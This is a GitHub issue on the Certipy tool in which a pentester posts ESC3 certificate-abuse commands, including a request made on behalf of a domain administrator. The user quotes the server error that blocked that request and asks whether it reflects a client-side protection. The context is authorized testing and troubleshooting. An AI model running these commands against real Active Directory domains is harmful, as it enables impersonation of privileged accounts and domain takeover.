ly4k / Certipy

Tool for Active Directory Certificate Services enumeration and abuse
MIT License
2.44k stars 340 forks source link

Am I doing this ESC3 abuse wrong? #190

Open 7MinSec opened 11 months ago

7MinSec commented 11 months ago

Hi!

I used Certipy to identify a ESC3 vuln on a pentest. I did the req song and dance:

certipy req -u me@domain.com -p Winter2023 -ca CA-NAME -target F.Q.D.N -template VulnTemplate

That generated the me.pfx file.

Next, I did this:

certipy req -u me@domain.com -p Winter2023 -ca CA-NAME -target F.Q.D.N -template VulnTemplate -on-behalf-of 'AD-NETBIOS-NAME\domainadmin' -pfx me.pfx

When I did this I got:

Got error while trying to request certificate: code: 0x80094806 - CERTSRV_E_BAD_RENEWAL_SUBJECT - The request was made on behalf of a subject other than the caller. The certificate template must be configured to require at least one signature to authorize the request.

From what I can glean on the Interwebs, this means the client has to manually approve this request? Thus, the client has protections in place against this attack?